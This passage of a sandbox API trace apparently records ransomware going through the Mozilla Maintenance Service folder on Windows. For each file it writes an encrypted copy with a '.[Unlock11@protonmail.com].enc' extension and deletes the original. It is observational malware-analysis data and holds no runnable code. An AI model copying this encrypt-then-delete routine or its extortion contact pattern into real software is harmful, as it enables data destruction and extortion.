| out: lpSystemTime=0x9bb4e0) returned 1 [0229.312] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.312] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.512] CloseHandle (hObject=0x39c) returned 1 [0229.513] CloseHandle (hObject=0x334) returned 1 [0229.513] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml")) returned 1 [0229.513] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd177555, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd177555, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7850 [0229.514] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd177555, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd177555, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.514] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3c800, ftCreationTime.dwHighDateTime=0x1d49e1a, ftLastAccessTime.dwLowDateTime=0xfea62b00, ftLastAccessTime.dwHighDateTime=0x1d49960, ftLastWriteTime.dwLowDateTime=0xfea62b00, ftLastWriteTime.dwHighDateTime=0x1d49960, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="diverse.exe", cAlternateFileName="")) returned 1 [0229.514] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="logs", cAlternateFileName="")) returned 1 [0229.514] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0229.514] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4bc309, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4bc309, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x15e62, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Uninstall.exe", cAlternateFileName="UNINST~1.EXE")) returned 1 [0229.514] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef14ec0d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef14ec0d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0229.515] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef14ec0d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef14ec0d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="updater.ini", cAlternateFileName="")) returned 0 [0229.515] FindClose (in: hFindFile=0x10f7850 | out: hFindFile=0x10f7850) returned 1 [0229.515] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\diverse.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\diverse.exe")) returned 0x20 [0229.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0229.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0229.515] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs")) returned 0x10 [0229.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0229.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0229.516] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe")) returned 0x20 [0229.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1ee0 | out: hHeap=0x2ad0000) returned 1 [0229.517] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe")) returned 0x20 [0229.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb20 | out: hHeap=0x2ad0000) returned 1 [0229.518] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini")) returned 0x20 [0229.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0229.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0229.518] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\diverse.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\diverse.exe", lpFilePart=0x9bada4*="diverse.exe") returned 0x3e [0229.518] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\diverse.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\diverse.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3c800, ftCreationTime.dwHighDateTime=0x1d49e1a, ftLastAccessTime.dwLowDateTime=0xfea62b00, ftLastAccessTime.dwHighDateTime=0x1d49960, ftLastWriteTime.dwLowDateTime=0xfea62b00, ftLastWriteTime.dwHighDateTime=0x1d49960, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1 [0229.519] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367137c | out: pbBuffer=0x367137c) returned 1 [0229.519] CreateFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\diverse.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\diverse.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.519] GetFileType (hFile=0x334) returned 0x1 [0229.519] GetFileType (hFile=0x334) returned 0x1 [0229.520] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.520] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.520] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.520] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.520] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.520] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.520] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.520] CreateFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\diverse.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\diverse.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.521] GetFileType (hFile=0x39c) returned 0x1 [0229.521] GetFileType (hFile=0x39c) returned 0x1 [0229.521] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.521] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.521] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.521] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.521] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.521] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.522] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.525] CloseHandle (hObject=0x39c) returned 1 [0229.526] CloseHandle (hObject=0x334) returned 1 [0229.526] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\diverse.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\diverse.exe")) returned 0 [0229.526] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", lpFilePart=0x9bada4*="maintenanceservice.exe") returned 0x49 [0229.527] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0)) returned 1 [0229.527] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ebc | out: pbBuffer=0x3671ebc) returned 1 [0229.527] CreateFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.527] GetFileType (hFile=0x334) returned 0x1 [0229.528] GetFileType (hFile=0x334) returned 0x1 [0229.528] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.528] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.528] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.528] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.528] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.528] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.528] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.528] CreateFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.529] GetFileType (hFile=0x39c) returned 0x1 [0229.529] GetFileType (hFile=0x39c) returned 0x1 [0229.529] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.530] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.530] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.530] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.530] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.530] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.530] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.536] CloseHandle (hObject=0x39c) returned 1 [0229.537] CloseHandle (hObject=0x334) returned 1 [0229.537] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe")) returned 1 [0229.539] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe", lpFilePart=0x9bada4*="Uninstall.exe") returned 0x40 [0229.539] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4bc309, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4bc309, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x15e62)) returned 1 [0229.539] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b9c | out: pbBuffer=0x3671b9c) returned 1 [0229.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0229.540] CreateFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.540] GetFileType (hFile=0x334) returned 0x1 [0229.540] GetFileType (hFile=0x334) returned 0x1 [0229.540] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.540] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.541] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.541] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.541] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.541] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.541] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.541] CreateFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.541] GetFileType (hFile=0x39c) returned 0x1 [0229.542] GetFileType (hFile=0x39c) returned 0x1 [0229.542] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.542] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.542] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.542] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.542] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.542] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.542] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.563] CloseHandle (hObject=0x39c) returned 1 [0229.564] CloseHandle (hObject=0x334) returned 1 [0229.564] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe")) returned 1 [0229.566] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini", lpFilePart=0x9bada4*="updater.ini") returned 0x3e [0229.566] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef14ec0d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef14ec0d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd)) returned 1 [0229.566] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ad4 | out: pbBuffer=0x3671ad4) returned 1 [0229.566] CreateFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.567] GetFileType (hFile=0x334) returned 0x1 [0229.567] GetFileType (hFile=0x334) returned 0x1 [0229.567] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.567] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.567] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.567] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.567] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.567] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.567] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.568] CreateFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.568] GetFileType (hFile=0x39c) returned 0x1 [0229.568] GetFileType (hFile=0x39c) returned 0x1 [0229.568] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.568] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.568] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.569] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.569] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.569] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.569] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.571] CloseHandle (hObject=0x39c) returned 1 [0229.581] CloseHandle (hObject=0x334) returned 1 [0229.581] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini")) returned 1 [0229.583] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0229.583] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.583] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3b1257, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 1 [0229.583] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3b1257, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 0 